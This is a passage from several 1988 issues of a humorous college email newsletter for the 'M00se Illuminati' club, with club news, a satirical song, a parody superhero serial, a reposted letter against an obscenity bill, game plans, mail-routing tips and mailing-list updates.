As I said above, the M00se Illuminati keeps growing. And now the day is
in sight when we shall reach 100 network chapters. I hereby suggest that when
we do, we have a Mega-Thr0ng-a-Thong at the University of Hartford, here in CT.
I will begin looking into hotels and campgrounds in the area, to get ideas of
prices in the area. The Science Fiction Society here at UHa will reserve a
good-sized room for a day. And when we reach 100 chapters, we'll start working
on an actual date.
Whaddaya all think?
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
<< Here we have Wall's first attempt at gospel (I think he said) songwriting.
It's started some activity on the Stony Brook Underground. >>
GOOD ENOUGH FOR JESUS
---------------------
Jesus is my guidance
he tells me what is true
he tells me what to think
he tells me what to do
he tells me what i'm hearing
he tells me what i see
and if it's good enough for Jesus,
it's good enough for me.
Jesus healed the faithful
back in the Good Old Days.
He didn't have to do surgery
he didn't need X-rays
and he didn't need to medicine
to cure their infirmity
and if faith-healing's good enough for Jesus
it's good enough for me.
Those Evil Pawns of Satan
are publishing books of sin
books like 'Stuart Little'
and 'Huckelberry Finn'
and so what if this is America
so what if the press is free
if censorship's good enough for Jesus
it's good enough for me.
That heretic Charles Darwin
said Creation was just a fable
he said we evolved from monkeys
not from Adam, Eve, nor Abel
and so what if Galton proved it,
quite irrefutably
if Creationism's good enough for Jesus
it's good enough for me.
A man called Galileo
said the Earth goes 'round the Sun
and the Earth is just a planet
and not the only one
and so what if Kepler proved it
in the Seventeenth century
if Geocentrism's good enough for Jesus
it's good enough for me.
Yes Jesus is our savior
he showed us the way
and now it's our duty to save you
so you'd better do what we say
and if you don't want to go along with it
we have ways of forcing you to
cause if it's good enough for Jesus
it's good enough for you.
wall
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< The CHAOS Engineer's Superm00se story will continue with chapter two
next issue. At this time, he plans to make it a bi-weekly feature. >>
--------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE *****************************
--------------------------------------------------------------------------------
<< One of the new chapters, Larry Nathanson, had an interesting idea some
of you may wish to try out. >>
Oh, by the way, The treasurer of this chapter, collected dues from the
Poobah, and Bull Moose, (who promptly wrote him checks) and convinced the
ATM to triple his account. He thanks you dearly, and will refer the bank
manager to you, if problems arise. :-)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< This note came from the CHAOS Engineer, giving a little bit of hope that
Sabre is still alive... >>
Today I did sight the rare and Elusive m00se whom is called Sabre.
This was indeed a suprise, as he has been reputed to have been kidnapped
by the brotherhood of evil relayers. This in fact is not true, as the straight
p00p from the m00se's mouth did indicate otherwise. He has in fact been
enslaved by the Boston Univeristy Bookstore. further sightings will be
reported.
CHAOS Engineer
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
<< I'm pleased to say that we have now passed the 70-chapter mark. Please
look over this list carefully, and add anyone in your own thr0ng to your
distribution lists. If you want a complete list, let me know. >>
Please add:
Boston University thr0ng LAN @ BUCSF.BU.EDU
Larry Nathanson
Buffalo chapter V291NHTP @ UBVMSD Patrick Salsbury
Cornell thr0ng ZEMANINA%CHEME.DECNET@ CHEME.TN.CORNELL.EDU
Spaceman Bif
Loyola thr0ng GAIL @ LOYVAX Sybil
MARKUS @ LOYVAX Markus
VANIDOR @ LOYVAX Vanidor
Wesleyan thr0ng LGREENSTEIN @ WESLEYAN Pope Atheist I
Saunacuse thr0ng MMAUSTIN @ SUNRISE Scamp
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please remove:
Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac
Loyola thr0ng SETH @ LOYVAX Seth
Maine thr0ng RFK350B @ MAINE Guardian Angel
(Guardian Angel is reachable for now through Lynx's account.)

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #13| Disclaimer: The Editor will place almost anything | Sep. 19, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Issue #13! Greetings all. Again, a fine issue, ready for your perusal.
My project to build my own Spiculum and rule the world is still in the R&D
stages; I'll keep you posted. One thing before I let you read the rest
of the issue: PLEASE PLEASE PLEASE contact me about distribution! We're
getting no cooperation, and it's real hard to put together the list....
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
<< DANGER! Got this from Fiben... >>
Pickle, I found this in the Philadelphia Inquirer and I feel that
all M00SES must be informed with the following warning.
BEWARE OF THE FRENCH !!!!!
"There are big problems on Route 201 in Maine,
big problems.
A 50-Mile strech between Bingham and the Canadian
Border is called "M00SE Alley" because all to often,
M00SE meets car and things get ugly.
The problem caught the attention of the bureaucrats
with the state Department of Transportation who decided
to take corrective action.
Bureaucrats can be quite creative with corrective action.
They decided to put up some M00SE warning signs along
the road.
To appreciate the signs one has to take in to account who
typically get involved in M00SE accidents besides M00SE.
Game Wardens estimates that 98% of the M00SE/Car crashes
involve French-Canadians who naturally speak French.
The signs are in English.
Fiben
I would like to claim
responsibility for those signs. I knew it would cause great confusion
if all the signs were in English, and end up causing a lot of anarchy,
so I did it. (That's the REAL reason why I moved north..to be closer
to my target) Just wait til you see what I have planned for Central
New York State!!!
*maniacal laughter*
Wolverine
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
***-> The Adventures of Super-M00se <-***
--- ---------- -- ----- -----
Forward- All that follows is pure fiction and fallacy, with most rip-offs
being done on purpose. All puns on purpose and all violations
acknowledged. Any resultant health problems due to reading
these episodes are not the responsibility of the author.
Welcome to Gothopolis, a hustling, bustling city full of all kinds
of folks, including mild mannered reporter Mark Kent of _The_Daily_Gonad_,
also secretly know as Superm00se, doer of good deeds, righter of wrongs,
Champion of all oppressed m00ses everywhere, and occasional window-washer
(the super-hero business does slow down every now and then, and those sky
scrapers are so TALL.)
%%%%%%%%%%%%%%%%%%%%%%%%%%%
"Mark, get in here!" bellowed Cherri Reddings. Cherri was the Editor
in Chief of _The_Daily_Gonad_ and was a sight to behold indeed. Tall and
voluptuous, ex playboy centerfold turned EiC, with tumbling locks of flaming
red hair.
Mark rushed in, out of breath. Mark had a crush on Cherri but was
too mild mannered to make a pass at his boss. "Yes Cherri?"
"Mark, I want you to get on this terrorist story. I'm taking Lou
off it and giving it to you. Here's two plane tickets. Take Biminy with
you. You're leaving for Kansas City in three hours."
"Kansas City? What kind of terrorist crisis is there in Kansas
City?"
"Mark, you numskull, don't you read the paper? Seven kids have
taken their high school principal hostage and are threatening to blow up
the city with a home made atom bomb if their parents won't increase their
allowances and let them watch David Letterman."
"All that to get an allowance raise and permission to watch David
Letterman?"
"Yeah. They want an allowance raise of several million dollars
and want to watch Letterman via satellite in the Bahamas."
"Oh."
"Mark, you idiot, get going, and don't forget Biminy."
"Yes Cherri." Mark walked out, in a slight daze. Gosh, he loved
it when Cherri got mad at him. She was SO pretty when she was mad.
Biminy was _The_Daily_Gonad_ 's best photographer. His real name
was Johnanthan Robert James Edward Peter Joseph Harold Paul Parker Oppenheimer,
but since every one had trouble remembering it all, they just called him
Biminy, since that was where he came from. Poor Lou. Lou would be so upset.
Lou was Louis Street, and was the best reporter the paper had until Mark
was hired last year.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Mark and Biminy arrived mid-evening in Kansas City, and the crisis
had become even more tense. The children had made even more demands, wanting
two sex-slaves each, while the parents remained adamant that they were going
to get sent to bed without dinner and had further promised that television
privileges would be revoked for two weeks as well unless they stopped this
nonsense immediately and surrendered.
"Gosh Mark, this is so exciting!"
"I know Biminy. Just take some pictures. Make sure that they're
good ones. Get some of the parents, and a few of the principle's wife.
I'll get some statements from people."
Biminy went around, dutifully snapping pictures, while Mark approached
the chief of police. "Excuse me chief, Mark Kent of _The_Daily_Gonad_.
Could I get a statement."
"Mark who of the Daily what?"
"Mark Kent sir, _Daily_Gonad_. I was wondering if I could get a
statement."
"Yeah, sure. Five kids got their principal in there hostage. They
got an Atomic bomb. anything else?"
"How come you haven't called in the National Guard?"
"Because the governor doesn't see this as a serious threat. Spank
them, he sez, and they'll behave and go home and everything will be fine.
What we need is one of them super hero types, like Chipmunkman or something."
"Hmm... Thanks a lot chief."
"Stupid reporters.." muttered the chief, as Mark made his way to
someplace private. This was a job for Superm00se he thought, not a half
rate rodent face like Chipmunkman. Having made sure the rest-room was empty,
Mark uttered the fateful word. "Leviam00se."
Magically transformed, where Mark once stood there was now Superm00se,
replete in his pink tights and blue cape. "Well," thought Mark/Superm00se,
"This should be a cake walk. Four kids with a bomb. Easy."
Emerging from the rest-room, Superm00se arrived forthwith at the
scene.
"Evening chief. Heard you needed a super-hero. What can I do for
you." The cloying arrogance in Superm00se's voice was unmistakable.
A look of incredulity crossed the chief's face when he turned around
to see who was speaking to him.
"Who the fuck are you? Mickey Mouse or something." The chief was
clearly unimpressed.
"No. Tis merely I, Superm00se, champion of all m00sekind and oppressed
non m00ses."
Great, thought the chief. Just what I need. A loony psychopath
loose in a pair of tights.
"Listen Pal, I don't know where you got the hokey get up, but why
don't you give it a break and go home to the wife and kids. This is a dangerous
situation we got here and we don't need no crazy kooks who think they've got
super powers running around. Get lost."
This man was obviously in need of an education. How dare he treat
the mighty and righteous Superm00se in such fashion. We'll, I'll show him.
Flexing his mighty m00se muscles, Superm00se leaped forth at moderate
speed and slammed into the brick wall making a nice impression, but otherwise
failing to crash through. Great display of m00sieness, Superm00se thought
to himself. Guess I'll just have to use the door.
In the meantime, several officers were taken to the hospital for
treatment of severe hyperventilation from extreme fits of laughter.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
It was dark inside the school, but it did not bother Superm00se,
as he merely used his enhanced m00se-ray vision to probe the murky halls.
Moving about, Superm00se located the students in the teacher's lounge. His
super-m00sey hearing brought him startling sounds
"And now from our home office in Scottsdale, Arizona, here's tonight's
top ten list. Tonight's list is the Ten most improbable Super heroes in
Kansas City. (drum roll) Number ten: Sweat-sock Man. Number nine: Faded
Denim Blues Man. Number eight: Tastey-Cake Girl. Number seven: Kansas
City Chiefs Football team. Number six: Hair-Spray Woman. Number five: Coffee
Man. Number four: Cheezewhiz Lad. Number three: Bill Bixby. Number two:
Jake & Elwood. And number one (faster drum roll and a cymbal crash):
Superm00se."
Good God! What fiendish deviltry was David Letterman working now?
And how was it half past midnight when it was only mid-evening several
paragraphs ago? Superm00se needs answers, and needs them now.
Once again flexing his mighty m00se muscles, Superm00se crashed
into the door to the teacher's lounge and enjoyed much more success than
with the brick wall. However...
"greetings Superm00se, we've been expecting you. Won't you come
in and sit down?"
Holy M00se! How could this be? In with these innocent children
sat one of the foulest scourges of m00se-kind in existence. DORITO-BREATH
MAN!!! (insert chintzy suspense music here.)
"Oh come now, Superm00se, do sit down. Let's have a nice little
chat. I take you're here to negotiate the principle's release?" Dorito-Breath
man sputtered out in-between handfuls of doritos and swigs of his drink.
"No, I think not you foul villain. I'm here to take you in and
free the principle and set these children straight." said Superm00se, wrinkling
his large m00sey nose at the terrible reek Dorito-Breath man was emitting.
"Oh you have, have you? Well, think again m00se brain!" exclaimed
Dorito-Breath Man has he gave a mighty exhale in Superm00se's general
direction. Superm00se took one whiff and went out like a light.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
"OOohhhhh......" moaned Superm00se, as he came to. What was on
Dorito-Breath Man's breath to put him out like that. It gave new definition
to chronic halitosis. Phew!
"Ah, sleeping beauty awakes. I see you like my new Limburger doritos
Superm00se. Fiendish, aren't they? Took my head chef nearly a year to
come up with them." Dorito-Breath Man gloated over Superm00se, carelessly
holding a bottle of Caffeine Free Diet Coke in one of his hands.
No wonder I blacked out, Superm00se mused to himself. Half the
ingredients to m00se-ite and the fool didn't even know it. I'll just have
to humor him for a while.
"Well, Simperm00se, I'd like to stay and watch your demise, but
I have to be going. Just to let you know how you'll die, pay attention.
When all the sand in that hour glass drains out, the ball will tighten the
cord that will start the motors on the cranks. The cranks will tighten
the Titanium Steel Alloy cables wrapped around you until you're crushed
like an egg. Ha Ha ha ha ah ha haaa (maniacal laughter)." Cackled Dorito-
Breath Man as he left the boiler room. Looking at the hour glass, Superm00se
figured he had maybe five minutes to escape from this one.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Well, It certainly looks bleak for our hero. He's in a real tight
spot. Tune in next week, same m00se channel, same m00se time.
--------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE *****************************
--------------------------------------------------------------------------------
<< Continuing Beez's random babbling until he comes up with those stories... >>
The Sauve Lady's Men in Dry Clothing Assn. printed da 1st issue of 'Sauve
Lady's Men in Dry Clothing' this Tuesday. The leader of SLaMeD ClAss (???)
was happy about the first issue, but was disappointed about the circulation
which is currently at 2. He also stressed that the fact that the other member
was female, that he may have to change the name to Sauve Lady's Man in Dry
Clothing. This shouldn't deter any women from joining the organization and
maybe a sister organization could be created. (Debutants You Kan't Escape--
DYKES [just joking...just joking!!]
I checked the Syracuse Library (you know the one..it gets shorter every year)
for any books on M00sian Geometry, M00sian Physics and M00sian Martial arts..
Does anyone know anything about these or where I can find books? (actually this
is meant to spar one of you to write on the subjects, which would give me some
ideas to write on) The closest thing I could find is a book on Zen and the art
of M00se maintance. Thank you for all your help.
Mr. Ed is not a M00se. Wayne Newton is not a M00se. Julia Child is not a M00se.
Donna Reed is reported to not be a M00se. I hope this clears things up.
Beez 'Jimmy Olsen's best pal' Beeler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< This from new m00se Spaceman Biff >>
Jeez guys, I made it!!! Bloooop!
Thanks for my induction to m00sehood; I look forward to
my continued and active involvement. (The fiction and fancies in
issue 11, having to do with Sat. A.M. physics and Star Trek, and the
AT&T memo (see figure 1), came to me from a buddy in Berzerkeley, who
got 'em from a pal in Wisconsin, etc., and I forwarded them to my
m00sepapa, wolverine, and the rest is history...)
There are, however, two corrections I feel I must make:
1: The nick is Spaceman Biff (two effs, thank you),
or just Biff for short, and
2: My last name is ZEMANIAN, not ZEMANINA; the latter
form will only cause your e-mail to be returned
poste haste (sorry, my keyboard doesn't do italics
or underlines. If you're a TeXhacker, you may assume
there to be an \it command just before the line two
oops, three lines above this one. \rm) and I won't get
my 'droppings.
That, in a nutshell, is my statement upon induction, and you
will most definitely be hearing more from me later. Consider yourself
warned.
(Spaceman Biff)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Here we have a few unconfirmed Sabre sightings. First, I must say that
I *MAY* have seen Sabre in my room this evening, where he mentioned that
Niniane could blow up my ship. Well. That's why I've got me 8 g's of thrust,
and shields to get away. >>
The was a confirmed Sabre-sighting on 9/19/88 by the one and only
GypsyLynx....right before he was once again kidnapped by the bookstore
slavers....rumors have it that he *might* actually show his face at
a miniature thr0ng-a-th0n in Siberacuse this weekend!
GypsyLynx
- - - - - - - - - - - - - - - - - - -
Quote found scrawled on wall in Amherst,
"The best way to deal with an elevator full of hair girls
is to throw in a lighted match and run like hell!!!!!"
--Sabre (or so it claimed)
- - - - - - - - - - - - - - - - - - -
Fellow M00ses,
Thank you for helping me in my search for Sabre! And yes, he is
in fact free! I received a telephone communique from him this past
weekend, and while at first I thought it was going to be a ransom
call from his captors, it turned out he was enslaved by an
institution of another type: The Boston U. Bookstore. Plans are
underway to organize a store-break. So thank you all for aiding
in my search. Oh, and by the way, does anyone know the phone
number for Abbott's Dairy Products Inc.?? I have to call them and
cancel the ads on all those milk cartons.....
Wolverine/Trelf
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
Please add:
Hartford thr0ng MELINOSKI @ HARTFORD Slick Jones
ROSSI @ HARTFORD Loki
U of Vermont chapter DZUCKER @ UVMVM dzucker
Saunacuse thr0ng RETANTS @ SUNRISE Scamp
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please remove:
Saunacuse thr0ng MMAUSTIN @ SUNRISE Scamp

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #14| Disclaimer: The Editor will place almost anything | Oct. 3, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Fellow m00ses, I'd like to apologize for getting this issue out late.
I'd like to say I've been very busy and didn't have time, but the truth
of the matter is, I completely forgot about it.
Before the actual issue begins, an announcement. Because some people,
through faulty mailers, or slow distributors, or undetected holes in the
distribution network, are either getting their M00se Droppings very slowly
or not at all, Sabre has started a new CSNEWS list: M00SEDRP. This will
*not* affect the normal distribution network at all. If you get your issues
too slowly, subscribe to M00SEDRP to get them faster. Then, when you receive
a second copy via the distribution network, delete it.
And now, on with the issue.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< This letter came to me from Love-Hounds Digest. If it's true, it's very
important to all of us. >>
<The following letter was recently sent to the radio station I work
at (WMUA Amherst) by a group in New York called "Music In Action." I
think it will be of interest to many people on the network.>
Dear Music Lover,
In the last few weeks, the freedom of contemporary music has come
under new and alarming attack. Lurking in the halls of Congress is
bill S.2033, the deceptively named "Child Protection and Obscenity
Enforcement Act of 1988," which would allow federal authorities to
confiscate the business and personal property of virtually every one
of us. This bill would enable federal authorities to obtain obscenity
convictions against records (this bill has the same far-reaching
implications for all the other arts - films, books, magazines, etc.),
then to expropriate the goods, bank accounts, homes, automobiles, and
pressing plants of everyone associated with these disks' sales.
Artists targeted incidentally include Prince, Madonna, Debby Boone and
Bruce Springsteen.
Here's how it's being done. Title I provisions of the bill legislate
child protection measures against child pornography, while *Title II
provisions make obscenity a federal crime via the power of Congress to
regulate interstate commerce.* Since the Supreme Court has ruled that
there is no federal standard for obscenity...this bill, if enacted,
would *empower any local extremist group to sue in federal court* the
publisher, manufacturer, or retailer of any material it deemed obscene
*according to it's own local standards.* In addition to the provisions
mandating seizure and forfeiture of property, Title II provides for
*IMPRISONMENT FOR UP TO FIVE YEARS.* This new legislation is the
crowning achievement of the ignominious career of former Attorney
General Edwin Meese who was forced to resign under fire.
As of early July, the RIAA's legislative representatives thought the
law had a very low chance of passage. Belatedly, the RIAA has
dramatically altered it's opinion.
Now it appears that the *Child Protection and Obscenity Enforcement
Act* will be attached to a package of 'anti-crime' legislation and
rammed through as part of a Fall 1988 election-year ploy. Senators
and Congressmen will virtually be forced to vote yes for the bill if
they want to demonstrate that they care about crime and the protection
of children. This bill has already garnered 237 Congressional
co-sponsors, and is drawing an overwhelming volume of mail - all of it
supporting the bill.
Music In Action fully supports the Title I provisions of the bill. We
are strongly opposed to the Title II provisions aimed at denying
adults their constitutionally guaranteed First Amendment rights.
Our opponents are well organized. So must we be. Our future depends
on it. Join us in the fight to preserve our right to creative and
artistic expression. Form a chapter of Music In Action on your campus
immediately and organize a *Music In Action Is Freedom In Action*
campaign.
Thanks,
Howard Bloom Bob Guccione, Jr. David Krebs
Founding members of Music In Action
For more information call : Laura Gordon 212/644-8900
<Above is the un-edited content of the letter (asterisks were added in
place of underlined phrases in the original). This legislation has
the potential to affect anyone who creates or enjoys any of the arts.
Please re-post wherever you think it will reach interested people.
-Peter E. Lee
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Sindex has this to say about the new csnotice. >>
1) Since Sabre came up with the idea of the separate csnotice (m00sedrp)
for m00se droppings, I thought it might be a good idea if Pickle were
to send a 1-line bl00p to m00se when a new issue came out, so that
fellow m00se would know if they hadn't received an issue that they should
have, and could request it from csnews.
2) I'm not sure on the actual mechanics and difficulty thereof, but wasn't
LISTSERV designed to alleviate distribution problems such as those that
we're having? It's spread all over the net, and we wouldn't need people
to log on and forward things.... If this seems like a good idea, let me
know and I'll pursue it further and try to figure out just what must be
done to get it onto a LISTSERV... shouldn't be all *that* tricky though...
bl00pfully yours
Sindex
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
<< Yowzah! A great idea (in my opinion) from Jonathan Clemens. >>
I will be attempting to start an Illuminati game over the network, here are
the parameters:
First 9 People to respond will be accepted.
List your group or groups of preference, IN ORDER, with your entry.
If there is enough interest, I will be looking for more moderators, so
if you have a deluxe set and would like to help, tell me that, too.
Deluxe set, all groups, will be used.
The Atlanteans, from expansion set #3, will also be used.
Propaganda and Brainwashing will not be used.
Building up power and resistance will be used.
Turnaround time will theoretically be one day per player turn. It will
most likely be slower than that, but it'll be a bit faster than PBM.
Hidden Illuminati may or may not be used--Vote on this when you enter.
All dice will be rolled by my vax, so impartiality is assured.
All questions, entries, and misc. nonsense to:
Jonathan Clemens JSJPC1@ALASKA
P.S. Weekly, I will get updates on victors & action to Pickle for publishing;
here's a fast way to increase your stature among the M00ses!
P.P.S. No unexperienced players need apply. I know it sounds cruel but I
Absolutely refuse to type the entire rulebook into a file. Not only
would it be a royal pain, it would be illegal (not that I worry...)
Oh, By the way, I know this will put distributors at an advantage. I intended
it that way; after all, they need SOME rewards...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Some information from Spaceman Biff. This may help some of you, but
my mailer still refuses to talk to him. >>
Ground control to Major Pickle:
Stand by for incoming drivel......
(okay, so it doesn't really rhyme. Haven't youse guys ever heard of an
assonance?)
Yo, hey, hey!
I'm given to unnerstan' that yer having trouble reaching me over
bitnet. There is a reason; CHEME is an ARPA host, and does not support
bitnet. However, there are ways about this evil antim00sian censorship.
All the machines at cornell (well, almost all. The PC's and the
dedicated mini's don't count) are tied in a campuswide net, and the I've
Been Moved mainframes are, in fact BITNETtable. It gets worse; my
account is on a cluster of vaxen (still the only correct plural of "vax")
and this tangles the address cluster even worse. Basically, what must be
done is to route mail to me at CHEME through crnlcs.... try sending to
"ZEMANIAN%CHEME@CRNLCS". This is most certainly simpler than the address
wolverine sent you, and may circumvent whatever bottleneck is blocking
the mail. Good luck.
Spaceman Biff
(the preceding message was brought to you as a public service of Sad
Little Unlaunchable Grounded Spacers (SLUGS), a subsidiary of Beatrice)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< This from Mary Beth, about the MegaThr0ng-a-Th0n. >>
I recommend having the next throng a thon during the end of January...where we
can all sleep on people's floors...and die of strep & other unknown diseases...
and drink lots of OJ....
kinda a reunion gathering....
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< A very important piece of information from Wolverine. >>
Guess what I found at 7 Rays this weekend...
"The Complete Discordian M00semas Celebration Handbook"
written by Andalusia the Heretic..all kinds of neat stuff in it,
including:
"There are many ways to celebrate M00semas, all incorrect. Actually
sleeping or even hibernation are most favored of the Gods, but other
possibilities are:
* Loafing, lounging, napping, 'veging out', pretending to meditate,
drifting in and out of light trances, hanging out, viewing TV
(on or off), and low-energy partying with very mellow friends.
* Disconnecting the telephone and doorbell.
* Playing cards or board games while making love in a tub filled
with fragrant warm oils. (if you don't move too fast.)
* Feasting on ritual foods, such as a fresh loaf of bread in
Bullwinkle's image..fruit juice...roast goose...and of course,
chocolate m0usse.
* Avoiding taboo activities such as shaving, worrying, weeding,
the lawn, housework, and thinking.
* Decorating the altar with snack foods, several goblets of wine,
furry hand puppets, long rubber objects, and love sonnets
to yourself.
* Dressing in brown, fuzzy robes and loafers, and invoking the Gods
in a hoarse, bugling voice as rarely as possible, from a
horizontal postion.
So let us all honor the old ways on this day of holy days:
with minimal exertion, go forth and M00SE 0UT!"
Well?
Frank.
<< Let it be known that the date of the MegaThr0ng-a-Th0n (to be held, you
remember, as soon as possible after we get our one-hundredth chapter)
will, from that day forward, be known as M00semas. >>
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE *****************************
--------------------------------------------------------------------------------
<< Spaceman Biff was busy this past week. Here are a couple more of his
submissions. The first is about mollusks, which begins with the same
letter as 'm00se'. >>
Bl00p!
Howdy illuminati? All is in disarray here, and therefore, hunky
dory. I thought I might share with y'all (I'm from the South, dammit!
Well, Long Island is in the southern portion of New York State, is it
not? Doesn't that count?) a bit of forensic m00siness that Herr Trelf
and I have been wrestling with, in hopes of solving some of life's
mysteries involving the briny deep. In response to an invite to a pahty
near hallowed evening, I made mention that oysters are a disreputable
lot, living only to be eaten alive and growing gallstones to be hung
about the necks of hair girls. The reply was swift and incisive, and gave
birth to The Trelf Letters, below:
----------------------------------------------------------------------
Biffer,
Greetings! Knew you wouldn't be able to attend the party, but
didn't want you to feel left out, so I sent ya' an invite. AS for
druids, I was called a peddler ofcheap silks this weekend by one druid
in particular!!! All because I helped you with your Latin grammar! So
I guess we're both merchants now....and as for clams..
I once had confab with a clam
On the topic of green eggs and SPAM
It was quite jolly, talking with Rollie
Rollie the Multi-Valved Clam
And in the moonlight, Rollie and I
went hunting for chicks, keeping an eye
out for clam-hunters, who with their devilish sticks
would chase down the clams and cut off their-----
<Sadly enough, the preceding broadcast was cut short
when the broadcast booth was blown up by
Clamnesty International, who cited the vulgar,
violence-invoking as the cause for their pyrotechnic
display. Their leader, Rev. Jerry Clamwell, had this
to say about the incident:
"Those bloody bastards had no right singing those
lyrics against us clams! It's anti-clamitism!
Why, how would THEY liked to be covered in tartar
sauce and have US come up and bite their ---"
[ They above statement was cut short when an unknown
bit of plankton came up and whacked Rev. Clamwell
over the head with a 20 lb. sack of compressed kelp.
The Plankton stated that he wasn't really against
clams or their causes, but had just woken up on the
wrong side of the bed that morning. He then began
to slaver and scream that Satan would purge the
world of Blue Whales, and was carried of by
several state and city officials. We now return
you to our normaly scheduled program,
Auntie Edna's Clam and Plankton Cooking Contest.]>
And just why DID Julia Child spend so much time stuffing ducks? I
think it was sexual frustration..maybe we should right to Dr.
Ruth Westheimer...she'll answer stuff that Ann Landers* won't.
Ciao for niao,
See you Thurs. and Sun.,
M00sepapa Wolfie
* - For more on Ms Landers' lack of response to valid questions, see
the accompanying letter, which was sent but not answered several
months ago. --S.B.
----------------------------------------------------------------------
Sept 27, 1988
So! How's it going, Clamrade?
Thanks for the response, but I think you missed something
crucial in there somewhere. I believe I was talking (and rather kindly,
mind you) about oysters, not those lowlife trollops; clams. Actually, I
guess clams aren't so bad, they simply come from a broken home (seagulls
will do that, you know); having been forced to leave their parents with
nothing but the shells on their backs. The ones I really hate are the
scallops. (oooh. That word gives me cold shivers down the spine when I
even type it, much less say it.) These filthy little buggers are the
most perverted swine of the deep. I'm not the only one who thinks so,
either. Why do you think Shell Oil uses the shell of a scallop (oooh.)
as their logo, huh? I'll tell you why: SEX SELLS!!!!!!!! Those miserable
smut-brokers are appealing to man's baser instincts. (and lets face it,
what red-blooded American male HASN'T felt sexually attracted to
scallops (oooh.) at one time or another?) Notice, however, that they
haven't the guts to admit it right out and call themselves the Scallop
(oooh.) Oil Company. Oh, no. They'd rather abuse a harmless word like
"shell" and then show a picture of one half the exoskeleton of a scallop
(oooh.) and send our teenagers' hormones racing. Makes me sick. See you
Thursday.
If hot dogs are a symbol of all that is
American, does that explain why George
Bush is trying to be such a wienie?
--Spaceman Biff!!!!!!!
-----------------------------------------------------------------------
Biffer,
Greetings! I realize that you were talking about Oysters,
but you know those mollusks...they all look alike...and I really
wouldn't worry about scallops ruining the morals of todays youth...
In the latest Reader's Digest poll, 90% of the youth polled said they
didn't take scallops seriously, and believed they were only a passing
fad, much like Morton Downey Jr. 7% said they believed that the
scallops were being prostituted against their will, and these youth
planned to write letters to Nancy Reagan about a "Scallops Say NO"
campaign. 1.5% believed it was just a bum wrap, 1% believed
the scallops were actually hippies re-mutated due to a latent effect
in the drug LSD, which, after an incubation period of 10 to 15 years,
would cause hippies from the Sixties to degenerate back to some form
of oceanic life, and .5% actually Worshipped the Scallop, claiming
"...the Scallop shall bring us back to the Holy. The Scallop shall
bring us back to the pure. The Scallop shall heal the ills of the
materialist world we live in. The Scallop is all-knowing. All
Praise the Holy Scallop. Ooommm!" [At which point the youths, who
called themselves The Holy Zionistic Scallop Movement, began doing
their Sacred Scallop Dance, which included stripping half their clothes
and hiding behind large cardboard cut-outs of the Shell logo.]
So you see, there really isn't much to worry about scallops. they are
basically harmless little shellfish which make a damn good meal. Now,
if I were you, and since we are almost the same shape, it COULD happen,
I'd worry about that etel symbol of innocence, the baby deer. Think
about it...why would they just stand there and let themselves be run
over..could they be some form of strange occult worshippers?
food for thought from your M00sepapa,
Frnak
-----------------------------------------------------------------------
So that's the extent of the discussion to this point. Any additions
from interested illuminati would be muchly appreciated. Perhaps one day
we can accomplish one of my greatest personal goals in life; the
formation of a Pangalactic Mollusk Malignment Foundation. Unfortunately,
this name does not land itself to any decent acronyms, as "PMMF" sounds
suspiciously like the sound made by a m00se upon inhaling (gad!)
DORITOBREATH VAPORS!!!!!. I would have liked to have come up with an
organizational name that acronymizes (Aaagh! Beware the creeping
verbformers!) to OOOH, but there just aren't enough "O" words around to
do it.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< This is another Spaceman Biff submission. >>
Oh yeah, about the Ann Landers thing. Youse guys might like the
